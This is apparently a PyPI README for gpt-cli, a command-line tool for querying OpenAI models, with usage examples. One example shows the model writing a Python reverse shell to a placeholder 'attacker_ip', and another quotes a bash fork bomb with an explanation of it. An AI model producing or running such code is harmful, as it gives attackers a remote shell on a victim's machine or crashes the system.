Skip to main content

gpt-cli

This is a command line tool used for interacting with OpenAI's API.

Default model is gpt-3.5-turbo (but you can change it to whatever you want).

This tool requires the following environment variables to be set:

  • OPENAI_API_KEY

You can further tweak functionality by setting the following additional environment variables:

  • OPENAI_MODEL
  • OPENAI_DEFAULT_PROMPT
  • OPENAI_LOGFILE
  • OPENAI_TEMPERATURE
  • OPENAI_MAX_TOKENS

All environment variables can be set by filling in values from example.env, renaming that file to .env, and running ./bin/gpt3 'Your prompt here'.

There is also a gpt4 command in case you set your model to GPT-4 and feel stupid running the gpt3 command.

Alternately, you can pass the environment variables on the command line using something like this:

OPENAI_API_KEY=foo ./bin/gpt3 'Your prompt here'

If installing from PyPi, set the OPENAI_API_KEY in your ~/.bashrc or ~/.zshrc, and run as follows:

gpt3 'Your prompt here'

Installation (PyPi) - set variables in rc files:

python3 -m pip install gpt-cli

Installation (local) - set variables in .env:

git clone https://github.com/phx/gpt-cli
cd gpt-cli
python3 -m pip install -r requirements.txt

Examples:

If given the -p or --print option, it will display the full prompt and response.

╭─phx@bigboi ~/git/gpt-cli  ‹master*› 
╰─➤  gpt3 --print 'Write python script to create reverse shell.'
----------------------------------------------------------------------
Prompt:
Write python script to create reverse shell.

Answer:
import socket
import subprocess# Create a socket
s = socket.socket()# Connect to the attacker machine
s.connect(("attacker_ip", attacker_port))# Create a subprocess to execute a shell
proc = subprocess.Popen(["/bin/sh", "-i"], stdin=s.fileno(), stdout=s.fileno())# Keep the connection alive
while True:
    data = s.recv(1024)
    if data == "exit":
        break
    proc.stdin.write(data)
    proc.stdout.flush()# Close the connection
s.close()
----------------------------------------------------------------------
╭─phx@bigboi ~/git/gpt-cli  ‹master*› 
╰─➤  OPENAI_DEFAULT_PROMPT='Do not give nonsense answers. If you do not know that your answer is factual, respond with "Unknown. "' gpt3 -p 'Who is Gregory Washingheimer Van Fleet?'
----------------------------------------------------------------------
Prompt:
Who is Gregory Washingheimer Van Fleet?

Answer:
Unknown.
----------------------------------------------------------------------
╭─phx@bigboi ~/git/gpt-cli  ‹master*› 
╰─➤  OPENAI_DEFAULT_PROMPT='Do not give nonsense answers. If you do not know that your answer is factual, respond with "Unknown. "' gpt3 --print 'Who is John Adams?'                     
----------------------------------------------------------------------
Prompt:
Who is John Adams?

Answer:
John Adams was the second President of the United States, serving from 1797 to 1801.
----------------------------------------------------------------------

When taking redirected or piped input from STDIN, it will only output the answer.

╭─phx@birdbox ~/git/gpt-cli ‹master●›
╰─$ echo 'Tell me what this code does: :(){ :|:& };:' | bin/gpt3

This code is a fork bomb, a type of denial-of-service attack that continuously replicates itself to consume system resources and eventually cause the system to become unresponsive.

Here's a breakdown of what the code does:

1. `:(){ ... };:` - This defines a function named `:` that contains the code within the curly braces `{}` and then calls the function `:`.

2. `:|:` - This is the recursive part of the fork bomb. It pipes the output of the function `:` back into the function itself, causing it to continuously replicate.

3. `&` - This runs the function in the background, allowing it to continue replicating without blocking the terminal.

When this code is executed, it will rapidly spawn new instances of the function `:` until the system's resources are exhausted, leading to a system crash or unresponsiveness. It is important to never run this code on a system as it can cause serious damage.

Metadata

Release files for gpt-cli 1.0.11

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for gpt-cli 1.0.11
File Size Uploaded
gpt_cli-1.0.11.tar.gz 4.1 kB Details

Built distribution (wheel)

Table of built distributions (wheels) for gpt-cli 1.0.11
File Interpreter ABI Platform
gpt_cli-1.0.11-py3-none-any.whl Python 3 none any Details

Total release size: 9.4 kB

Release files / gpt_cli-1.0.11.tar.gz

Download URL gpt_cli-1.0.11.tar.gz
Size 4.1 kB
Tags Source
SHA-256 checksum
How to use checksums
0c85ee9144161f1f7d9dbabd6e9d1fa30ec0efa7b161eeedb7ef7cdf0c1a96a9
BLAKE2b-256 checksum
How to use checksums
5fad6f270128536a6997ec6ab99ebd4d153caf410608af79545a8f1330df18fb
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/5.1.0 CPython/3.11.5

Release files / gpt_cli-1.0.11-py3-none-any.whl

Download URL gpt_cli-1.0.11-py3-none-any.whl
Size 5.2 kB
Tags Python 3
SHA-256 checksum
How to use checksums
7bdb9882bdd70019b08309ccf302f1fce807cc8a34071be5ab3440c5a3732193
BLAKE2b-256 checksum
How to use checksums
d74ddcfe17b1ff6b2e281e6234008a8518b4febd3a52a0e6abd8dee8e34d444d
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/5.1.0 CPython/3.11.5

Release history Release notifications | RSS feed

This release

1.0.11 This release

2 release files

1.0.10

2 release files

1.0.9

2 release files

1.0.8

2 release files

1.0.4

2 release files

0.0.16

2 release files

0.0.15

2 release files

0.0.11

2 release files

0.0.8

2 release files

0.0.7

2 release files

0.0.6

2 release files

0.0.5

2 release files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page